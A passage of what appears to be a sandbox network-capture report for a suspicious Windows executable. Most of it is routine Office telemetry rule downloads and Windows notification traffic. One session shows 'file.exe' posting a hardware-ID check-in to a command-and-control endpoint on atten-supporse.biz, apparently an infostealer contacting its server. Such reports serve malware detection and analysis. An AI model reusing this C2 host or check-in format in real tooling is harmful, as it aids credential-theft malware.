20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49724	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 46 63 2b 6a 72 65 4d 5a 46 6b 4b 74 47 39 4b 34 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 34 32 37 38 62 61 31 38 62 38 65 32 64 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Fc+jreMZFkKtG9K4.1Context: 284278ba18b8e2db
2024-11-30 03:12:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:12:19 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 46 63 2b 6a 72 65 4d 5a 46 6b 4b 74 47 39 4b 34 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 34 32 37 38 62 61 31 38 62 38 65 32 64 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Fc+jreMZFkKtG9K4.2Context: 284278ba18b8e2db<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:12:19 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 46 63 2b 6a 72 65 4d 5a 46 6b 4b 74 47 39 4b 34 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 38 34 32 37 38 62 61 31 38 62 38 65 32 64 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Fc+jreMZFkKtG9K4.3Context: 284278ba18b8e2db<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-30 03:12:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:12:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 6c 73 39 74 74 77 37 4b 45 75 41 6e 67 6d 50 57 44 2b 56 37 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 3ls9ttw7KEuAngmPWD+V7Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:21 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031221Z-174f7845968psccphC1EWRuz9s000000116g0000000013zs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:21 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 25c4f972-a01e-0021-6cb8-42814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031221Z-174f7845968qj8jrhC1EWRh41s00000010q000000000k7t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:21 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 212faeeb-901e-00ac-0ca8-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031221Z-174f7845968glpgnhC1EWR7uec000000112g0000000037rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: d81e2dc6-501e-000a-4705-410180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031221Z-174f7845968pght8hC1EWRyvxg00000003w000000000m0d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49731	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:21 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 43 67 56 54 66 6f 58 6c 6c 30 65 42 58 39 52 6c 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 66 32 32 38 31 31 38 62 63 30 35 66 36 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: CgVTfoXll0eBX9Rl.1Context: 8df228118bc05f6a
2024-11-30 03:12:21 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:12:21 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 43 67 56 54 66 6f 58 6c 6c 30 65 42 58 39 52 6c 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 66 32 32 38 31 31 38 62 63 30 35 66 36 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: CgVTfoXll0eBX9Rl.2Context: 8df228118bc05f6a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:12:21 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 43 67 56 54 66 6f 58 6c 6c 30 65 42 58 39 52 6c 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 64 66 32 32 38 31 31 38 62 63 30 35 66 36 61 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: CgVTfoXll0eBX9Rl.3Context: 8df228118bc05f6a
2024-11-30 03:12:22 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:12:22 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6d 32 32 4a 37 74 74 39 56 6b 6d 38 78 4f 33 36 4b 4b 66 42 46 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: m22J7tt9Vkm8xO36KKfBFQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49736	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:21 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 8339b61c-e01e-00aa-5413-42ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031221Z-174f7845968qj8jrhC1EWRh41s00000010q000000000k7tb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49742	104.21.16.9	443	4344	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:23 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-11-30 03:12:23 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 41 33 30 44 46 43 36 43 33 38 34 34 46 35 38 46 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=A30DFC6C3844F58FEFA3D63B69E7CA14
2024-11-30 03:12:23 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qis2d7mak51vpfvfbdhdischhq; expires=Tue, 25-Mar-2025 20:59:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tPluibblsp%2BelscajFbQGnSFIn1JVdxIvuZ2jGoUJagnqWQX%2B3oooIP%2FZu0ZYYuQN62vV7%2FvJpgEF4wuIk8Foz5rToBe%2Fi8ZHYlKESU3AK8atGIjLo33nF1qKccvQFC4xZVLFuE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea7a7d1c9a04308-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1729&min_rtt=1729&rtt_var=649&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1685912&cwnd=225&unsent_bytes=0&cid=e889efc009ec0e11&ts=853&x=0"
2024-11-30 03:12:23 UTC	214	IN	Data Raw: 64 30 0d 0a 55 7a 4b 52 6d 79 42 55 64 68 68 70 6e 30 67 53 4f 4a 46 37 35 5a 66 4b 6e 47 48 72 4c 44 32 44 54 4e 46 76 57 2f 38 32 56 7a 38 49 53 62 50 75 41 6d 35 55 63 42 33 72 4f 43 68 6b 76 69 66 4b 70 76 4b 70 54 39 6b 64 43 4b 31 39 34 46 78 31 7a 67 41 4c 45 44 78 55 39 38 63 50 4d 42 4e 2b 52 2f 6f 77 64 78 71 39 57 59 50 6a 36 4b 5a 52 78 77 35 59 6f 58 62 67 45 6e 65 45 46 43 49 64 61 52 44 35 37 31 51 6b 54 45 52 47 77 32 63 6a 41 4b 52 56 31 36 62 2f 73 6c 44 61 48 78 4f 79 65 6f 31 41 4b 49 74 54 4e 6c 49 50 48 65 50 36 54 6a 41 5a 64 55 66 36 4d 48 63 61 76 56 6d 44 34 2b 69 6d 55 63 63 4f 57 4b 46 32 34 52 49 47 0d 0a Data Ascii: d0UzKRmyBUdhhpn0gSOJF75ZfKnGHrLD2DTNFvW/82Vz8ISbPuAm5UcB3rOChkvifKpvKpT9kdCK194Fx1zgALEDxU98cPMBN+R/owdxq9WYPj6KZRxw5YoXbgEneEFCIdaRD571QkTERGw2cjAKRV16b/slDaHxOyeo1AKItTNlIPHeP6TjAZdUf6MHcavVmD4+imUccOWKF24RIG
2024-11-30 03:12:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49738	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:23 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 1f885eed-401e-0029-2ba8-429b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031223Z-174f7845968psccphC1EWRuz9s000000111000000000e35k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-30 03:12:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" 